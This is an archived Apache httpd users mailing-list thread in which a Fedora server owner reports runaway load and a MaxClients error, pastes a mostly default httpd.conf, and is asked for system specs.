>> # Each directory to which Apache has access can be configured with respect
>> # to which services and features are allowed and/or disabled in that
>> # directory (and its subdirectories).
>> #
>> # First, we configure the "default" to be a very restrictive set of
>> # features.
>> #
>> <Directory />
>>   Options FollowSymLinks
>>   AllowOverride None
>> </Directory>
>>
>> #
>> # Note that from this point forward you must specifically allow
>> # particular features to be enabled - so if something's not working as
>> # you might expect, make sure that you have specifically enabled it
>> # below.
>> #
>>
>> #
>> # This should be changed to whatever you set DocumentRoot to.
>> #
>> <Directory "/var/www/html">
>>
>> #
>> # Possible values for the Options directive are "None", "All",
>> # or any combination of:
>> #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI
>> MultiViews
>> #
>> # Note that "MultiViews" must be named *explicitly* --- "Options All"
>> # doesn't give it to you.
>> #
>> # The Options directive is both complicated and important.  Please see
>> # http://httpd.apache.org/docs/2.2/mod/core.html#options
>> # for more information.
>> #
>>   Options Indexes FollowSymLinks
>>
>> #
>> # AllowOverride controls what directives may be placed in .htaccess files.
>> # It can be "All", "None", or any combination of the keywords:
>> #   Options FileInfo AuthConfig Limit
>> #
>>   AllowOverride All
>>
>> #
>> # Controls who can get stuff from this server.
>> #
>>   Order allow,deny
>>   Allow from all
>>
>> </Directory>
>>
>> #Allow access to firestats images
>> <Directory /var/www/html/firestats/img>
>>   AllowOverride None
>> </Directory>
>>
>> #
>> # UserDir: The name of the directory that is appended onto a user's home
>> # directory if a ~user request is received.
>> #
>> # The path to the end user account 'public_html' directory must be
>> # accessible to the webserver userid.  This usually means that ~userid
>> # must have permissions of 711, ~userid/public_html must have permissions
>> # of 755, and documents contained therein must be world-readable.
>> # Otherwise, the client will only receive a "403 Forbidden" message.
>> #
>> # See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden
>> #
>> <IfModule mod_userdir.c>
>>   #
>>   # UserDir is disabled by default since it can confirm the presence
>>   # of a username on the system (depending on home directory
>>   # permissions).
>>   #
>>   UserDir disabled
>>
>>   #
>>   # To enable requests to /~user/ to serve the user's public_html
>>   # directory, remove the "UserDir disabled" line above, and uncomment
>>   # the following line instead:
>>   #
>>   #UserDir public_html
>>
>> </IfModule>
>>
>> #
>> # Control access to UserDir directories.  The following is an example
>> # for a site where these directories are restricted to read-only.
>> #
>> #<Directory /home/*/public_html>
>> #    AllowOverride FileInfo AuthConfig Limit
>> #    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
>> #    <Limit GET POST OPTIONS>
>> #        Order allow,deny
>> #        Allow from all
>> #    </Limit>
>> #    <LimitExcept GET POST OPTIONS>
>> #        Order deny,allow
>> #        Deny from all
>> #    </LimitExcept>
>> #</Directory>
>>
>> #
>> # DirectoryIndex: sets the file that Apache will serve if a directory
>> # is requested.
>> #
>> # The index.html.var file (a type-map) is used to deliver content-
>> # negotiated documents.  The MultiViews Option can be used for the
>> # same purpose, but it is much slower.
>> #
>> DirectoryIndex index.html index.html.var
>>
>> #
>> # AccessFileName: The name of the file to look for in each directory
>> # for additional configuration directives.  See also the AllowOverride
>> # directive.
>> #
>> AccessFileName .htaccess
>>
>> #
>> # The following lines prevent .htaccess and .htpasswd files from being
>> # viewed by Web clients.
>> #
>> <Files ~ "^\.ht">
>>   Order allow,deny
>>   Deny from all
>> </Files>
>>
>> #
>> # TypesConfig describes where the mime.types file (or equivalent) is
>> # to be found.
>> #
>> TypesConfig /etc/mime.types
>>
>> #
>> # DefaultType is the default MIME type the server will use for a document
>> # if it cannot otherwise determine one, such as from filename extensions.
>> # If your server contains mostly text or HTML documents, "text/plain" is
>> # a good value.  If most of your content is binary, such as applications
>> # or images, you may want to use "application/octet-stream" instead to
>> # keep browsers from trying to display binary files as though they are
>> # text.
>> #
>> DefaultType text/plain
>>
>> #
>> # The mod_mime_magic module allows the server to use various hints from
>> the
>> # contents of the file itself to determine its type.  The MIMEMagicFile
>> # directive tells the module where the hint definitions are located.
>> #
>> <IfModule mod_mime_magic.c>
>> #   MIMEMagicFile /usr/share/magic.mime
>>   MIMEMagicFile conf/magic
>> </IfModule>
>>
>> #
>> # HostnameLookups: Log the names of clients or just their IP addresses
>> # e.g., www.apache.org (on) or 204.62.129.132 (off).
>> # The default is off because it'd be overall better for the net if people
>> # had to knowingly turn this feature on, since enabling it means that
>> # each client request will result in AT LEAST one lookup request to the
>> # nameserver.
>> #
>> HostnameLookups Off
>>
>> #
>> # EnableMMAP: Control whether memory-mapping is used to deliver
>> # files (assuming that the underlying OS supports it).
>> # The default is on; turn this off if you serve from NFS-mounted
>> # filesystems.  On some systems, turning it off (regardless of
>> # filesystem) can improve performance; for details, please see
>> # http://httpd.apache.org/docs/2.2/mod/core.html#enablemmap
>> #
>> #EnableMMAP off
>>
>> #
>> # EnableSendfile: Control whether the sendfile kernel support is
>> # used to deliver files (assuming that the OS supports it).
>> # The default is on; turn this off if you serve from NFS-mounted
>> # filesystems.  Please see
>> # http://httpd.apache.org/docs/2.2/mod/core.html#enablesendfile
>> #
>> #EnableSendfile off
>>
>> #
>> # ErrorLog: The location of the error log file.
>> # If you do not specify an ErrorLog directive within a <VirtualHost>
>> # container, error messages relating to that virtual host will be
>> # logged here.  If you *do* define an error logfile for a <VirtualHost>
>> # container, that host's errors will be logged there and not here.
>> #
>> ErrorLog logs/error_log
>>
>> #
>> # LogLevel: Control the number of messages logged to the error_log.
>> # Possible values include: debug, info, notice, warn, error, crit,
>> # alert, emerg.
>> #
>> LogLevel warn
>>
>> #
>> # The following directives define some format nicknames for use with
>> # a CustomLog directive (see below).
>> #
>> LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
>> combined
>> LogFormat "%h %l %u %t \"%r\" %>s %b" common
>> LogFormat "%{Referer}i -> %U" referer
>> LogFormat "%{User-agent}i" agent
>>
>> # "combinedio" includes actual counts of actual bytes received (%I) and
>> sent
>> (%O); this
>> # requires the mod_logio module to be loaded.
>> #LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"
>> %I
>> %O" combinedio
>>
>> #
>> # The location and format of the access logfile (Common Logfile Format).
>> # If you do not define any access logfiles within a <VirtualHost>
>> # container, they will be logged here.  Contrariwise, if you *do*
>> # define per-<VirtualHost> access logfiles, transactions will be
>> # logged therein and *not* in this file.
>> #
>> #CustomLog logs/access_log common
>>
>> #
>> # If you would like to have separate agent and referer logfiles, uncomment
>> # the following directives.
>> #
>> #CustomLog logs/referer_log referer
>> #CustomLog logs/agent_log agent
>>
>> #
>> # For a single logfile with access, agent, and referer information
>> # (Combined Logfile Format), use the following directive:
>> #
>> CustomLog logs/access_log combined
>>
>> #
>> # Optionally add a line containing the server version and virtual host
>> # name to server-generated pages (internal error documents, FTP directory
>> # listings, mod_status and mod_info output etc., but not CGI generated
>> # documents or custom error documents).
>> # Set to "EMail" to also include a mailto: link to the ServerAdmin.
>> # Set to one of:  On | Off | EMail
>> #
>> ServerSignature On
>>
>> #
>> # Aliases: Add here as many aliases as you need (with no limit). The
>> format
>> is
>> # Alias fakename realname
>> #
>> # Note that if you include a trailing / on fakename then the server will
>> # require it to be present in the URL.  So "/icons" isn't aliased in this
>> # example, only "/icons/".  If the fakename is slash-terminated, then the
>> # realname must also be slash terminated, and if the fakename omits the
>> # trailing slash, the realname must also omit it.
>> #
>> # We include the /icons/ alias for FancyIndexed directory listings.  If
>> you
>> # do not use FancyIndexing, you may comment this out.
>> #
>> Alias /icons/ "/var/www/icons/"
>>
>> <Directory "/var/www/icons">
>>   Options Indexes MultiViews FollowSymLinks
>>   AllowOverride None
>>   Order allow,deny
>>   Allow from all
>> </Directory>
>>
>> #
>> # WebDAV module configuration section.
>> #
>> <IfModule mod_dav_fs.c>
>>   # Location of the WebDAV lock database.
>>   DAVLockDB /var/lib/dav/lockdb
>> </IfModule>
>>
>> #
>> # ScriptAlias: This controls which directories contain server scripts.
>> # ScriptAliases are essentially the same as Aliases, except that
>> # documents in the realname directory are treated as applications and
>> # run by the server when requested rather than as documents sent to the
>> client.
>> # The same rules about trailing "/" apply to ScriptAlias directives as to
>> # Alias.
>> #
>> ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
>>
>> #
>> # "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
>> # CGI directory exists, if you have that configured.
>> #
>> <Directory "/var/www/cgi-bin">
>>   AllowOverride None
>>   Options None
>>   Order allow,deny
>>   Allow from all
>> </Directory>
>>
>> #
>> # Redirect allows you to tell clients about documents which used to exist
>> in
>> # your server's namespace, but do not anymore. This allows you to tell the
>> # clients where to look for the relocated document.
>> # Example:
>> # Redirect permanent /foo http://www.example.com/bar
>>
>> #
>> # Directives controlling the display of server-generated directory
>> listings.
>> #
>>
>> #
>> # IndexOptions: Controls the appearance of server-generated directory
>> # listings.
>> #
>> IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8
>>
>> #
>> # AddIcon* directives tell the server which icon to show for different
>> # files or filename extensions.  These are only displayed for
>> # FancyIndexed directories.
>> #
>> AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
>>
>> AddIconByType (TXT,/icons/text.gif) text/*
>> AddIconByType (IMG,/icons/image2.gif) image/*
>> AddIconByType (SND,/icons/sound2.gif) audio/*
>> AddIconByType (VID,/icons/movie.gif) video/*
>>
>> AddIcon /icons/binary.gif .bin .exe
>> AddIcon /icons/binhex.gif .hqx
>> AddIcon /icons/tar.gif .tar
>> AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
>> AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
>> AddIcon /icons/a.gif .ps .ai .eps
>> AddIcon /icons/layout.gif .html .shtml .htm .pdf
>> AddIcon /icons/text.gif .txt
>> AddIcon /icons/c.gif .c
>> AddIcon /icons/p.gif .pl .py
>> AddIcon /icons/f.gif .for
>> AddIcon /icons/dvi.gif .dvi
>> AddIcon /icons/uuencoded.gif .uu
>> AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
>> AddIcon /icons/tex.gif .tex
>> AddIcon /icons/bomb.gif core
>>
>> AddIcon /icons/back.gif ..
>> AddIcon /icons/hand.right.gif README
>> AddIcon /icons/folder.gif ^^DIRECTORY^^
>> AddIcon /icons/blank.gif ^^BLANKICON^^
>>
>> #
>> # DefaultIcon is which icon to show for files which do not have an icon
>> # explicitly set.
>> #
>> DefaultIcon /icons/unknown.gif
>>
>> #
>> # AddDescription allows you to place a short description after a file in
>> # server-generated indexes.  These are only displayed for FancyIndexed
>> # directories.
>> # Format: AddDescription "description" filename
>> #
>> #AddDescription "GZIP compressed document" .gz
>> #AddDescription "tar archive" .tar
>> #AddDescription "GZIP compressed tar archive" .tgz
>>
>> #
>> # ReadmeName is the name of the README file the server will look for by
>> # default, and append to directory listings.
>> #
>> # HeaderName is the name of a file which should be prepended to
>> # directory indexes.
>> ReadmeName README.html
>> HeaderName HEADER.html
>>
>> #
>> # IndexIgnore is a set of filenames which directory indexing should ignore
>> # and not include in the listing.  Shell-style wildcarding is permitted.
>> #
>> IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
>>
>> #
>> # DefaultLanguage and AddLanguage allows you to specify the language of
>> # a document. You can then use content negotiation to give a browser a
>> # file in a language the user can understand.
>> #
>> # Specify a default language. This means that all data
>> # going out without a specific language tag (see below) will
>> # be marked with this one. You probably do NOT want to set
>> # this unless you are sure it is correct for all cases.
>> #
>> # * It is generally better to not mark a page as
>> # * being a certain language than marking it with the wrong
>> # * language!
>> #
>> # DefaultLanguage nl
>> #
>> # Note 1: The suffix does not have to be the same as the language
>> # keyword --- those with documents in Polish (whose net-standard
>> # language code is pl) may wish to use "AddLanguage pl .po" to
>> # avoid the ambiguity with the common suffix for perl scripts.
>> #
>> # Note 2: The example entries below illustrate that in some cases
>> # the two character 'Language' abbreviation is not identical to
>> # the two character 'Country' code for its country,
>> # E.g. 'Danmark/dk' versus 'Danish/da'.
>> #
>> # Note 3: In the case of 'ltz' we violate the RFC by using a three char
>> # specifier. There is 'work in progress' to fix this and get
>> # the reference data for rfc1766 cleaned up.
>> #
>> # Catalan (ca) - Croatian (hr) - Czech (cs) - Danish (da) - Dutch (nl)
>> # English (en) - Esperanto (eo) - Estonian (et) - French (fr) - German
>> (de)
>> # Greek-Modern (el) - Hebrew (he) - Italian (it) - Japanese (ja)
>> # Korean (ko) - Luxembourgeois* (ltz) - Norwegian Nynorsk (nn)
>> # Norwegian (no) - Polish (pl) - Portugese (pt)
>> # Brazilian Portuguese (pt-BR) - Russian (ru) - Swedish (sv)
>> # Simplified Chinese (zh-CN) - Spanish (es) - Traditional Chinese (zh-TW)
>> #
>> AddLanguage ca .ca
>> AddLanguage cs .cz .cs
>> AddLanguage da .dk
>> AddLanguage de .de
>> AddLanguage el .el
>> AddLanguage en .en
>> AddLanguage eo .eo
>> AddLanguage es .es
>> AddLanguage et .et
>> AddLanguage fr .fr
>> AddLanguage he .he
>> AddLanguage hr .hr
>> AddLanguage it .it
>> AddLanguage ja .ja
>> AddLanguage ko .ko
>> AddLanguage ltz .ltz
>> AddLanguage nl .nl
>> AddLanguage nn .nn
>> AddLanguage no .no
>> AddLanguage pl .po
>> AddLanguage pt .pt
>> AddLanguage pt-BR .pt-br
>> AddLanguage ru .ru
>> AddLanguage sv .sv
>> AddLanguage zh-CN .zh-cn
>> AddLanguage zh-TW .zh-tw
>>
>> #
>> # LanguagePriority allows you to give precedence to some languages
>> # in case of a tie during content negotiation.
>> #
>> # Just list the languages in decreasing order of preference. We have
>> # more or less alphabetized them here. You probably want to change this.
>> #
>> LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no
>> pl pt pt-BR ru sv zh-CN zh-TW
>>
>> #
>> # ForceLanguagePriority allows you to serve a result page rather than
>> # MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE
>> (Fallback)
>> # [in case no accepted languages matched the available variants]
>> #
>> ForceLanguagePriority Prefer Fallback
>>
>> #
>> # Specify a default charset for all content served; this enables
>> # interpretation of all content as UTF-8 by default.  To use the
>> # default browser choice (ISO-8859-1), or to allow the META tags
>> # in HTML content to override this choice, comment out this
>> # directive:
>> #
>> AddDefaultCharset UTF-8
>>
>> #
>> # AddType allows you to add to or override the MIME configuration
>> # file mime.types for specific file types.
>> #
>> #AddType application/x-tar .tgz
>>
>> #
>> # AddEncoding allows you to have certain browsers uncompress
>> # information on the fly. Note: Not all browsers support this.
>> # Despite the name similarity, the following Add* directives have nothing
>> # to do with the FancyIndexing customization directives above.
>> #
>> #AddEncoding x-compress .Z
>> #AddEncoding x-gzip .gz .tgz
>>
>> # If the AddEncoding directives above are commented-out, then you
>> # probably should define those extensions to indicate media types:
>> #
>> AddType application/x-compress .Z
>> AddType application/x-gzip .gz .tgz
>>
>> #
>> #   MIME-types for downloading Certificates and CRLs
>> #
>> AddType application/x-x509-ca-cert .crt
>> AddType application/x-pkcs7-crl    .crl
>>
>> #
>> # AddHandler allows you to map certain file extensions to "handlers":
>> # actions unrelated to filetype. These can be either built into the server
>> # or added with the Action directive (see below)
>> #
>> # To use CGI scripts outside of ScriptAliased directories:
>> # (You will also need to add "ExecCGI" to the "Options" directive.)
>> #
>> #AddHandler cgi-script .cgi
>>
>> #
>> # For files that include their own HTTP headers:
>> #
>> #AddHandler send-as-is asis
>>
>> #
>> # For type maps (negotiated resources):
>> # (This is enabled by default to allow the Apache "It Worked" page
>> #  to be distributed in multiple languages.)
>> #
>> AddHandler type-map var
>>
>> #
>> # Filters allow you to process content before it is sent to the client.
>> #
>> # To parse .shtml files for server-side includes (SSI):
>> # (You will also need to add "Includes" to the "Options" directive.)
>> #
>> AddType text/html .shtml
>> AddOutputFilter INCLUDES .shtml
>>
>> #
>> # Action lets you define media types that will execute a script whenever
>> # a matching file is called. This eliminates the need for repeated URL
>> # pathnames for oft-used CGI file processors.
>> # Format: Action media/type /cgi-script/location
>> # Format: Action handler-name /cgi-script/location
>> #
>>
>> #
>> # Customizable error responses come in three flavors:
>> # 1) plain text 2) local redirects 3) external redirects
>> #
>> # Some examples:
>> #ErrorDocument 500 "The server made a boo boo."
>> #ErrorDocument 404 /missing.html
>> #ErrorDocument 404 "/cgi-bin/missing_handler.pl"
>> #ErrorDocument 402 http://www.example.com/subscription_info.html
>> #
>>
>> #
>> # Putting this all together, we can internationalize error responses.
>> #
>> # We use Alias to redirect any /error/HTTP_<error>.html.var response to
>> # our collection of by-error message multi-language collections.  We use
>> # includes to substitute the appropriate text.
>> #
>> # You can modify the messages' appearance without changing any of the
>> # default HTTP_<error>.html.var files by adding the line:
>> #
>> #   Alias /error/include/ "/your/include/path/"
>> #
>> # which allows you to create your own set of files by starting with the
>> # /var/www/error/include/ files and
>> # copying them to /your/include/path/, even on a per-VirtualHost basis.
>> #
>>
>> Alias /error/ "/var/www/error/"
>>
>> <IfModule mod_negotiation.c>
>> <IfModule mod_include.c>
>>   <Directory "/var/www/error">
>>       AllowOverride None
>>       Options IncludesNoExec
>>       AddOutputFilter Includes html
>>       AddHandler type-map var
>>       Order allow,deny
>>       Allow from all
>>       LanguagePriority en es de fr
>>       ForceLanguagePriority Prefer Fallback
>>   </Directory>
>>
>> #    ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
>> #    ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
>> #    ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
>> #    ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
>> #    ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
>> #    ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
>> #    ErrorDocument 410 /error/HTTP_GONE.html.var
>> #    ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
>> #    ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
>> #    ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
>> #    ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
>> #    ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
>> #    ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
>> #    ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
>> #    ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
>> #    ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
>> #    ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var
>>
>> </IfModule>
>> </IfModule>
>>
>> #
>> # The following directives modify normal HTTP response behavior to
>> # handle known problems with browser implementations.
>> #
>> BrowserMatch "Mozilla/2" nokeepalive
>> BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
>> BrowserMatch "RealPlayer 4\.0" force-response-1.0
>> BrowserMatch "Java/1\.0" force-response-1.0
>> BrowserMatch "JDK/1\.0" force-response-1.0
>>
>> #
>> # The following directive disables redirects on non-GET requests for
>> # a directory that does not include the trailing slash.  This fixes a
>> # problem with Microsoft WebFolders which does not appropriately handle
>> # redirects for folders with DAV methods.
>> # Same deal with Apple's DAV filesystem and Gnome VFS support for DAV.
>> #
>> BrowserMatch "Microsoft Data Access Internet Publishing Provider"
>> redirect-carefully
>> BrowserMatch "MS FrontPage" redirect-carefully
>> BrowserMatch "^WebDrive" redirect-carefully
>> BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully
>> BrowserMatch "^gnome-vfs/1.0" redirect-carefully
>> BrowserMatch "^XML Spy" redirect-carefully
>> BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully
>>
>> #
>> # Allow server status reports generated by mod_status,
>> # with the URL of http://servername/server-status
>> # Change the ".example.com" to match your domain to enable.
>> #
>> #<Location /server-status>
>> #    SetHandler server-status
>> #    Order deny,allow
>> #    Deny from all
>> #    Allow from .example.com
>> #</Location>
>>
>> #
>> # Allow remote server configuration reports, with the URL of
>> #  http://servername/server-info (requires that mod_info.c be loaded).
>> # Change the ".example.com" to match your domain to enable.
>> #
>> #<Location /server-info>
>> #    SetHandler server-info
>> #    Order deny,allow
>> #    Deny from all
>> #    Allow from .example.com
>> #</Location>
>>
>> #
>> # Proxy Server directives. Uncomment the following lines to
>> # enable the proxy server:
>> #
>> #<IfModule mod_proxy.c>
>> #ProxyRequests On
>> #
>> #<Proxy *>
>> #    Order deny,allow
>> #    Deny from all
>> #    Allow from .example.com
>> #</Proxy>
>>
>> #
>> # Enable/disable the handling of HTTP/1.1 "Via:" headers.
>> # ("Full" adds the server version; "Block" removes all outgoing Via:
>> headers)
>> # Set to one of: Off | On | Full | Block
>> #
>> #ProxyVia On
>>
>> #
>> # To enable a cache of proxied content, uncomment the following lines.
>> # See http://httpd.apache.org/docs/2.2/mod/mod_cache.html for more
>> details.
>> #
>> #<IfModule mod_disk_cache.c>
>> #   CacheEnable disk /
>> #   CacheRoot "/var/cache/mod_proxy"
>> #</IfModule>
>> #
>>
>> #</IfModule>
>> # End of proxy directives.
>>
>> ### Section 3: Virtual Hosts
>> #
>> # VirtualHost: If you want to maintain multiple domains/hostnames on your
>> # machine you can setup VirtualHost containers for them. Most
>> configurations
>> # use only name-based virtual hosts so the server doesn't need to worry
>> about
>> # IP addresses. This is indicated by the asterisks in the directives
>> below.
>> #
>> # Please see the documentation at
>> # <URL:http://httpd.apache.org/docs/2.2/vhosts/>
>> # for further details before you try to setup virtual hosts.
>> #
>> # You may use the command line option '-S' to verify your virtual host
>> # configuration.
>>
>> #
>> # Use name-based virtual hosting.
>> #
>> NameVirtualHost *:80
>> #
>> # NOTE: NameVirtualHost cannot be used without a port specifier
>> # (e.g. :80) if mod_ssl is being used, due to the nature of the
>> # SSL protocol.
>> #
>>
>> #
>> # VirtualHost example:
>> # Almost any Apache directive may go into a VirtualHost container.
>> # The first VirtualHost section is used for requests without a known
>> # server name.
>> #
>> #<VirtualHost *:80>
>> #    ServerAdmin webmaster@dummy-host.example.com
>> #    DocumentRoot /www/docs/dummy-host.example.com
>> #    ServerName dummy-host.example.com
>> #    ErrorLog logs/dummy-host.example.com-error_log
>> #    CustomLog logs/dummy-host.example.com-access_log common
>> #</VirtualHost>
>>
>> <!--Snipped all my virtual hosts to cut down on message size, they are in
>> the conf-->
>>
>>
>
>
>
>> ---------------------------------------------------------------------
>> The official User-To-User support forum of the Apache HTTP Server Project.
>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>> For additional commands, e-mail: users-help@httpd.apache.org
>>
>
> Dan,
>
> Can you provide your full system specs.  A Dual Core machine can be a dual
> P100.
>
> Thanks,
> Daniel
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Runaway Apache Process

Posted by Daniel Reinhardt <cr...@cryptodan.net>.
--------------------------------------------------
From: "Dan Bunyard" <da...@gmail.com>
Sent: 27 January, 2010 1:28
To: <us...@httpd.apache.org>
Subject: [users@httpd] Runaway Apache Process

> This has happened twice now and it's a little bit concerning to me. I have a
> Fedora 12 server with 5GB of RAM that I use to host a few small web sites of
> mine. As I mentioned, this happened once before. I tried to load one of my
> web sites today and it took FOREVER (as in the 10s of minutes) to load. I
> SSHed into the box and found the load average around 100 (dual core
> machine). Since this was the second time it had happened, I knew that it was
> Apache causing it. So I restarted the Apache service and everything returned
> to normal. A look in the error_log showed this error:
>
> server reached MaxClients setting, consider raising the MaxClients setting
>
> I suspect that this is the reason that Apache was eating up all my system
> resources but I don't have any idea how to fix it.
>
> I do use PHP and MySQL fairly heavily. All the sites on the server use PHP
> in some form and most of the use MySQL. Could this be part of the problem? I
> attached a copy of my httpd.conf file to this message if that will help
> (It's also inserted into this email at the very bottom).
>
> Any help would be appreciated!!!
> Thanks,
> --
> Dan
>
> http://www.moonlightrpg.com
> http://www.linkedin.com/in/danbunyard
> http://www.danodemano.com
> http://www.dansrandomness.com
> http://www.danandshelley.com
>
> This is not a problem that requires infinite wisdom, Benj. This is a problem
> that requires enough neural organization to qualify as a vertebrate,
> apparently a stretch for some folks these days.
> ~Cecil Adams.
>
>
> httpd.conf
> #
> # This is the main Apache server configuration file.  It contains the
> # configuration directives that give the server its instructions.
> # See <URL:http://httpd.apache.org/docs/2.2/> for detailed information.
> # In particular, see
> # <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>
> # for a discussion of each configuration directive.
> #
> #
> # Do NOT simply read the instructions in here without understanding
> # what they do.  They're here only as hints or reminders.  If you are unsure
> # consult the online docs. You have been warned.
> #
> # The configuration directives are grouped into three basic sections:
> #  1. Directives that control the operation of the Apache server process as
> a
> #     whole (the 'global environment').
> #  2. Directives that define the parameters of the 'main' or 'default'
> server,
> #     which responds to requests that aren't handled by a virtual host.
> #     These directives also provide default values for the settings
> #     of all virtual hosts.
> #  3. Settings for virtual hosts, which allow Web requests to be sent to
> #     different IP addresses or hostnames and have them handled by the
> #     same Apache server process.
> #
> # Configuration and logfile names: If the filenames you specify for many
> # of the server's control files begin with "/" (or "drive:/" for Win32), the
> # server will use that explicit path.  If the filenames do *not* begin
> # with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
> # with ServerRoot set to "/etc/httpd" will be interpreted by the
> # server as "/etc/httpd/logs/foo.log".
> #
>
> ### Section 1: Global Environment
> #
> # The directives in this section affect the overall operation of Apache,
> # such as the number of concurrent requests it can handle or where it
> # can find its configuration files.
> #
>
> #
> # Don't give away too much information about all the subcomponents
> # we are running.  Comment out this line if you don't mind remote sites
> # finding out what major optional modules you are running
> ServerTokens OS
>
> #
> # ServerRoot: The top of the directory tree under which the server's
> # configuration, error, and log files are kept.
> #
> # NOTE!  If you intend to place this on an NFS (or otherwise network)
> # mounted filesystem then please read the LockFile documentation
> # (available at <URL:
> http://httpd.apache.org/docs/2.2/mod/mpm_common.html#lockfile>);
> # you will save yourself a lot of trouble.
> #
> # Do NOT add a slash at the end of the directory path.
> #
> ServerRoot "/etc/httpd"
>
> #
> # PidFile: The file in which the server should record its process
> # identification number when it starts.
> #
> PidFile run/httpd.pid
>
> #
> # Timeout: The number of seconds before receives and sends time out.
> #
> Timeout 120
>
> #
> # KeepAlive: Whether or not to allow persistent connections (more than
> # one request per connection). Set to "Off" to deactivate.
> #
> KeepAlive Off
>
> #
> # MaxKeepAliveRequests: The maximum number of requests to allow
> # during a persistent connection. Set to 0 to allow an unlimited amount.
> # We recommend you leave this number high, for maximum performance.
> #
> MaxKeepAliveRequests 100
>
> #
> # KeepAliveTimeout: Number of seconds to wait for the next request from the
> # same client on the same connection.
> #
> KeepAliveTimeout 15
>
> ##
> ## Server-Pool Size Regulation (MPM specific)
> ##
>
> # prefork MPM
> # StartServers: number of server processes to start
> # MinSpareServers: minimum number of server processes which are kept spare
> # MaxSpareServers: maximum number of server processes which are kept spare
> # ServerLimit: maximum value for MaxClients for the lifetime of the server
> # MaxClients: maximum number of server processes allowed to start
> # MaxRequestsPerChild: maximum number of requests a server process serves
> <IfModule prefork.c>
> StartServers       8
> MinSpareServers    5
> MaxSpareServers   20
> ServerLimit      256
> MaxClients       100
> MaxRequestsPerChild  0
> </IfModule>
>
> # worker MPM
> # StartServers: initial number of server processes to start
> # MaxClients: maximum number of simultaneous client connections
> # MinSpareThreads: minimum number of worker threads which are kept spare
> # MaxSpareThreads: maximum number of worker threads which are kept spare
> # ThreadsPerChild: constant number of worker threads in each server process
> # MaxRequestsPerChild: maximum number of requests a server process serves
> <IfModule worker.c>
> StartServers         2
> MaxClients         100
> MinSpareThreads     15
> MaxSpareThreads     25
> ThreadsPerChild     5
> MaxRequestsPerChild  0
> </IfModule>
>
> #
> # Listen: Allows you to bind Apache to specific IP addresses and/or
> # ports, in addition to the default. See also the <VirtualHost>
> # directive.
> #
> # Change this to Listen on specific IP addresses as shown below to
> # prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
> #
> #Listen 12.34.56.78:80
> Listen *:80
> Listen *:81
>
> #
> # Dynamic Shared Object (DSO) Support
> #
> # To be able to use the functionality of a module which was built as a DSO
> you
> # have to place corresponding `LoadModule' lines at this location so the
> # directives contained in it are actually available _before_ they are used.
> # Statically compiled modules (those listed by `httpd -l') do not need
> # to be loaded here.
> #
> # Example:
> # LoadModule foo_module modules/mod_foo.so
> #
> LoadModule auth_basic_module modules/mod_auth_basic.so
> LoadModule auth_digest_module modules/mod_auth_digest.so
> LoadModule authn_file_module modules/mod_authn_file.so
> LoadModule authn_alias_module modules/mod_authn_alias.so
> LoadModule authn_anon_module modules/mod_authn_anon.so
> LoadModule authn_dbm_module modules/mod_authn_dbm.so
> LoadModule authn_default_module modules/mod_authn_default.so
> LoadModule authz_host_module modules/mod_authz_host.so
> LoadModule authz_user_module modules/mod_authz_user.so
> LoadModule authz_owner_module modules/mod_authz_owner.so
> LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
> LoadModule authz_dbm_module modules/mod_authz_dbm.so
> LoadModule authz_default_module modules/mod_authz_default.so
> LoadModule ldap_module modules/mod_ldap.so
> LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
> LoadModule include_module modules/mod_include.so
> LoadModule log_config_module modules/mod_log_config.so
> LoadModule logio_module modules/mod_logio.so
> LoadModule env_module modules/mod_env.so
> LoadModule ext_filter_module modules/mod_ext_filter.so
> LoadModule mime_magic_module modules/mod_mime_magic.so
